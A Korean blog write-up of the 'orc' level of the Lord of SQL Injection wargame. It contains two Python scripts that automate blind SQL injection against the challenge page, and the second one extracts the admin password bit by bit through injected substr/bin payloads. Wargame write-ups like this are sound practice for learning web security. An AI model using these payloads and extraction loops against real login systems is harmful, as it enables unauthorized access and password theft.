์ƒˆ์†Œ์‹

Game/los

Load of sql injection [ORC]

  • -
๋ฐ˜์‘ํ˜•

์ œ๊ฐ€ ์ €๋ฒˆ์— los๋ฌธ์ œ๋ฅผ 5๋ฒˆ๊นŒ์ง€ ํฌ์ŠคํŒ… ํ•œ ํ›„, 10๋ฒˆ ๋ฑ€ํŒŒ์ด์–ด (?) ๋ฌธ์ œ๊นŒ์ง€ ๋‹ค ํ’€์–ด๋†“์•„์„œ

๋ฌธ์ œ ํ’€์ด๋ฅผ ์˜ฌ๋ฆฌ๋ ค๊ณ  ์˜ค๋Š˜ ๋‹ค์‹œ ๋“ค์–ด๊ฐ€ ๋ณด์•˜๋Š”๋ฐ ์˜ค๋Š˜ ๋“ค์–ด๊ฐ€ ๋ณด๋‹ˆ, ์‚ฌ์ดํŠธ๊ฐ€ ํ•ฉ์ณ์ง„๊ฑด์ง€ ๋ฐ”๋€๊ฑด์ง€

los ๋ฌธ์ œ ํ‘ธ๋Š” ์‚ฌ์ดํŠธ๋ฅผ ๋กœ๊ทธ์ธ ํ•˜์˜€๋”๋‹ˆ ์•„๋ž˜์ฒ˜๋Ÿผ ๋˜๋”๊ตฐ์š”..

 

 

 

์‹ฌ์ง€์–ด๋Š”..์ „์— ํ’€๋˜ ๋ฌธ์ œ๊นŒ์ง€ ์ฒดํฌ๋„ ์•ˆ๋˜๊ณ ใ… ใ… ใ… ...

48๋ฌธ์ œ๋กœ ๋Š˜์–ด๋‚˜์žˆ๋”๋ผ๊ตฌ์š”!

 

๊ทธ๋ž˜์„œ 48๋ฒˆ๊นŒ์ง€ ๋‹ค์‹œ ํ’€์–ด๋ณด๋ ค ํ•ฉ๋‹ˆ๋‹ค ^-^...

 

์ผ๋‹จ, ๋‹ค์‹œ ํ’€์–ด๋ณด๋˜ ์ค‘ 4๋ฒˆ orc๋ฌธ์ œ์— ๋‹ต์ด ์ „์— los์™€ ๋‹ฌ๋ž๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค์‹œ ํ’€์ด๋ฅผ ์˜ฌ๋ ค๋ด…๋‹ˆ๋‹ค.

 

 

์ผ๋‹จ ์•„๋ž˜๋Š” ํŒŒ์ด์ฌ ์ฝ”๋“œ๋กœ, ๋ถ„๋ช… ์ •๋‹ต์ด ๋‚˜์™€์•ผ ํ• ํ…๋ฐ ์ž๊พธ ์ด์ƒํ•œ pw๊ฐ€ ์ถœ๋ ฅ์ด ๋˜๋”๋ผ๊ณ ์š”

์‹ฌ์ง€์–ด๋Š” ๊ทธ ์ •๋‹ต๋“ค๋„ ๋ชจ๋‘ hello admin ์ด๋ผ๋Š” ๋ฌธ๊ตฌ๋ฅผ ์ถœ๋ ฅ์‹œ์ผœ์„œ

๋ฌธ์ œ๊ฐ€ ์ด์ƒํ•œ ์ค„๋กœ๋งŒ ์•Œ์•˜์Šต๋‹ˆ๋‹ค.

 

 

import requests
from bs4 import BeautifulSoup

query1 = "\' or substring(pw,%d,1)= %s#"
dbname =[]
word =['\'a\'', '\'b\'', '\'c\'', '\'d\'', '\'e\'', '\'f\'', '\'g\'','\'h\'','\'i\'','\'j\'','\'k\'','\'l\'','\'m\'','\'n\'','\'o\'',
'\'p\'','\'q\'','\'r\'','\'s\'','\'t\'','\'u\'','\'v\'', '\'w\'','\'x\'','\'y\'','\'z\'','1','2','3','4','5','6','7','8','9','0',]
#print("์ƒํƒœ ์ฝ”๋“œ : ",res.status_code)

print("========= Blind SQL injection ===========")
# 1. ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” DB ๊ธธ์ด ์•Œ์•„๋‚ด๊ธฐ.

print("######################data ๋ถ„์„ ์ค‘")

num = 1
while num <= 8:

    for src in word:
        dbname = [query1 %(num, src)]

        cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
        params = {'id': 'admin', 'pw': dbname}
        res = requests.get('https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php', params=params, cookies=cookies)
        code = res.text  # ์ „์ฒด ์ฝ”๋“œ
        search = "Hello admin"  # ์ฐธ์ผ์‹œ ๋‚˜์˜ค๋Š” ๊ฒฐ๊ณผ ๊ฐ’

        if search in code: #์ฝ”๋“œ์•ˆ์— ์ฐธ์ผ ์‹œ ๋‚˜์˜ค๋Š” ๊ฐ’์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค๋ฉด
            print("Password : ", src)
            print(dbname)
            break
    num = num+1

print("###########################์™„๋ฃŒ")

 

 

๊ทธ๋Ÿฐ๋ฐ ๊ตฌ๊ธ€ ๊ฒ€์ƒ‰์„ ํ•˜๋˜ ์ค‘, 2์ง„์ˆ˜๋กœ ๊ฐ’์„ ๋น„๊ตํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ๋ณด์•˜๊ณ  ์ฐธ๊ณ  ํ›„ ์‚ด์ง ๋ณ€๊ฒฝ ์‹œ์ผœ ์ฃผ์—ˆ์Šต๋‹ˆ๋‹ค.

 

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='
headers = {'Cookie': 'PHPSESSID=27g5thpe9ib9v6o1vq12kvhpv6'}

passwordLen = 0

payload = "1' or id='admin' and length(pw)="
print('\n############# blind sql injection ###############')
for i in range(1, 100):
    tmpPayload = payload + str(i) + '%23'
    res = sess.get(url=URL + tmpPayload, headers=headers, verify=False)

    if 'Hello admin' in res.text:
        # true
        print('\nPassword Length : %d' % i)
        passwordLen = i
        break
    else:
        # false
        pass

Password = ''
print('\n############# Falg ###############')
for j in range(1, 9):

    bit = ''
    for i in range(1, passwordLen + 1):
        payload = "1' or id='admin' and substr(lpad(bin(ord(substr(pw,{},1))),8,0),{},1)=1%23".format(j, i)

        res = sess.get(url=URL + payload, headers=headers, verify=False)

        if 'Hello admin' in res.text:
            # true  ==> the bit is 1
            bit += '1'
        else:
            # false ==> the bit is 0
            bit += '0'

    Password += chr(int(bit, 2))
    print('%02d. Find Password : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))

print('[=] Password : %s' % Password)

 

 

๊ฒฐ๊ณผ๋Š” ์ •๋ง ๊น”๋”ํ•˜๊ฒŒ ์ถœ๋ ฅ๋˜๋„ค์š”... +  ์†๋„๊ฐ€ ์ •๋ง ํ•œ ๊ธ€์ž์”ฉ ๋น„๊ตํ•  ๋•Œ๋ณด๋‹ค ํ›จ์”ฌ ๋น ๋ฅด๋„ค์š”..

 

 

ํŒŒ์ด์ฌ ์ฝ”๋“œ ์ถœ์ฒ˜ :https://kkamikoon.tistory.com/177?category=829545

 

 

 

 

์ด๋ ‡๊ฒŒ ๋‚˜์˜จ ํ”Œ๋ž˜๊ทธ ๊ฐ’์„ ์ž…๋ ฅํ•ด๋ณด๋‹ˆ orc ๋ฌธ์ œ ํด๋ฆฌ์–ด.

ํ•œ๊ฐœ์”ฉ ๊ฐ’์„ ์ž…๋ ฅํ•ด๋ณด๋Š” ๋ฐฉ๋ฒ•์€ ์ข‹์ง€ ์•Š์€ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๋ฌธ์ œ์—์„œ hello admin ์ด๋ผ๋Š” ์ถœ๋ ฅ๋ฌธ์ด ๊ผญ 

์ฐธ์ด์—ฌ์•ผ๋งŒ ๋‚˜์˜ค๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋”๊ตฐ์š”,,(ํ ..) 

 

 

 

ํ•˜์—ฌํŠผ ํด๋ฆฌ์–ด

๋ฐ˜์‘ํ˜•

'Game > los' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Lord of sql injection [7]  (0) 2020.09.11
Lord of sql injection [6]  (0) 2020.09.11
Lord of sql injection [5]  (0) 2020.08.30
Lord of sql injection [4]  (0) 2020.08.30
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.